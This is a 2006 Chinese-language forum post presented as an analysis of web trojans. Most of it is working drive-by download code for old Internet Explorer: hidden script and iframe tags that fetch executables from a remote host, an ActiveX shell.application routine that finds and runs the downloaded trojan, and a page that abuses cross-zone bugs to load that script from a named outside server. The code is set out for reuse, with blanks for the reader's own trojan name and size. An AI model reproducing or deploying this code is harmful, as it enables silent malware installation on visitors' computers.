查看單個文章
舊 2006-08-02, 08:09 AM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 網頁木馬 分析

網頁木馬,就是當用戶瀏覽某網頁時,自動下載並執行某一「木馬」程式,進而通過該程式實現某一目的.
我們先看幾段利用IE瀏覽器早期的一個漏洞的網馬代碼:
1.自動下載程式代碼:

  <SCRIPT LANGUAGE="icyfoxlovelace" src="http://****.****.net/*.exe"></SCRIPT> 代碼說明:把這段代碼插入到網頁源代碼的</BODY>…</BODY>之間,就能下載該程式到瀏覽它的電腦上,現在多數空間不允許上傳exe文件,黑客可能把延伸名exe改為bat或com。
2.自動執行程式代碼:

  <SCRIPT LANGUAGE="javascript" type="text/javascript"> var shell=new ActiveXObject("shell.application"); shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb(); </SCRIPT> 說明:這段代碼使用了shell.application控件,該控件能使網頁獲得執行權限,替換代碼中的「Notepad.exe」(記事本)程式,可以用它自動執行本機電腦上的任意程式。

iframe src="http://****.***.net/hk.htm" width="0" height="0" frameborder="0"></iframe>
iframe也叫浮動幀標籤,它可以把一個HTML網頁嵌入到另一個網頁裡實現「畫中畫」的效果,被嵌入的網頁可以控制寬、高以及邊框大小和是否出現滾動條等。在上代代碼中,因為把寬(width)、高(height)、邊框(frameborder)都設置為了「0」,所以,上述代碼插入到門戶網站的首頁後,網站的首頁不會發生變化,但是,由於嵌入的網頁實際上已經打開了,所以網頁上的下載木馬和執行木馬的腳本還是會隨著門戶首頁的打開而執行的。


下面是網馬的實現過程:

一,下載木馬程式到瀏覽者的電腦
1,利用SCRIPT標籤代碼如下
<SCRIPT LANGUAGE="icyfoxlovelace"
src="木馬程式地址"
</SCRIPT>

LANGUAGE內容可以為除javascript,VBScript,JScript以外的字串,漢字也可
SRC的內容為木馬程式地址,延伸名可以變通為PIF BAT COM SCR,同樣可以執行.

2,利用LINK標籤,代碼如下

<LINK href="木馬程式地址" rel=stylesheet type=text/css>
代碼放在<head>和</head>之間

這兩種下載木馬程式的方法,下載以後的程式都放在IE臨時目錄TEMPORARY INTERNET FILES下的子目錄中

二.找出已下載到瀏覽者的電腦中的木馬程式路徑
利用shell.application空間的一寫內容和方法,結合JS的錯誤處理try\{}catch(e)\{}finally\{}語句,進行
遞歸呼叫來找到木馬程式的路徑,代碼如下:

function icyfoxlovelace()\{}
//得到WINDOWS系統目錄和系統硬碟
url=document.location.href;
xtmu=url.substring(6,url.indexOf(『\『,9)+1;
xtp=url.substr(6,3);
var shell=new ActiveXOBJECT("SHELL.application");
var runbz=1
//此處設置木馬程式的大小,以字節為單位
//請把198201改為你的木馬程式的實際大小
var exeSize=198201
//設置木馬程式名及延伸名(EXE,PIF,BAT,COM,SCR,SCR),用於判斷是否是所下載的木馬程式
//請把下面兩行中的icyfox改為你的木馬程式名,BAT改為你的木馬程式的延伸名
var a=/icyfox\[\d*\]\.bat/gi;
a.compile("icyfox\[\d*\]\.bat","gi");
var b=/[A-Za-z]:\/gi;
b.compile("[A-Za-z]:\,"gi");//正則表達式,用於判斷是否盤的根目錄
//下面的代碼查找並執行木馬程式
wjj(xtmu+"Temporary Internet files\");//Content.IE5\
if(runbz)wjj(xtp+Documents and settings\");
if(runbz)yp();
//在所有硬碟分區下查找並執行木馬程式
function yp()\{
try\{
var c=new Enumerator(shell.namespace("c:\").parentFolder.Items();
for (;!c.atEnd();c.moveNext())\{
if(runbz)\{if(b.test(c.item().path))wjj(c.item().path);}
else break
}
}catch(e)\{}
}
//利用遞歸在指定目錄(包括子目錄)下查找並執行木馬程式
function wjj(b)\{
try\{
var c=new Enumerator(shell.namespace(b).Items());
for (;!c.atEnd();c.moveNext())\{
if(runbz&&c.item().Size==exeSize&&a.test(c.item().path))\{
var f=c.item().path;
var v=f.lastInddexOf(『\『)+1
try\{
shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();
//執行木馬程式
runbz=0;
break;
}catch(e)\{}
}
if(!c.item().Size)wjj(c.item().path+"\");
//如果是子目錄則遞歸呼叫
}
}catch(e)\{}
}
}
icyfoxlovelace();


以上代碼儲存為:icyfox.js

2,利用跨域執行漏洞獲得「我的電腦」域中的網頁權限,代碼如下 <HTML>
<HEAD>
<META http-equiv=Content-type content="text/html;charset=gb2312">
<TITLE>*****網頁</TITLE>
</HEAD>
<BODY oncontextmenu="return false"onselectstart="retrun false" scroll="no"topmargin="0" leftmargin="0">
<SCRIPT LANGUAGE="icyfoxlovelace"
src="http://www.godog.y365.com/wodemuma/icyfox.bat">
</SCRIPT>
<SCRIPT LANGUAGE="javascript">
//此處設置上面的icyfox.js文件的網路地址
//把http://www.godog.y365.com/wodemuma/i...上傳地址
jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,//『);
WIE=navigator.appVersion;
if(WIE.indexOf("MSIE 5.0『)>-1\{
/*IE 5.0則利用iframe標籤,src內容設為icyfox.//則會使此標籤具備「我的電腦」域的權限,原因是因為
icyfox.//是不存在的協議,所以IE會利用res://協議打開SHDOCLC.DLL中的語法錯誤頁syntax.htm,而SHDOCLC.DLL又位
於系統目錄中,為在icyfox.js中得到WINDOWS系統目錄和系統硬碟提供資料;*/
document.write("<iframe style=『display:none;『name=『icyfoxlovelace『 src=『icyfox://『><\/iframe>");
setTiimeout("muma0()",1000;
}
else \{
/*IE5.5 IE6則利用_search漏洞,把打開的地址設為icyfox.//,從而使用_search搜索框具備「我的電腦」域的權限,因為IE6.0
中無法用上面的iframe漏洞,IE5.5應該可以,這樣做的結果會打開搜索欄,*/
window.open("icyfox.//","_search");
setTimeout("muma1()",1000;
}
//下面利用file:javascript:協議漏洞在已是「我的電腦」域的權限的「icyfox.//」中插入icyfox.腳本並執行
function muma0()\{
window.open("file:javascript:document.all.tags
(『SCRIPT『)[0].src=『"+jsurl+"『;eval();",
"icyfoxlovelace");
}

function muma1()\{
window.open("file:javascript:document.all.tags
(『SCRIPT『)[0].src=『"+jsurl+"『;eval();","_search");}
</SCRIPT>
</BODY>
<NOSCRIPT><iframe style="display:none;"src=『*.*『></iframe></NOSCRIPT>
</HTML>
上面的代碼儲存為icyfox.htm

此帖於 2006-08-02 10:50 PM 被 psac 編輯.
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次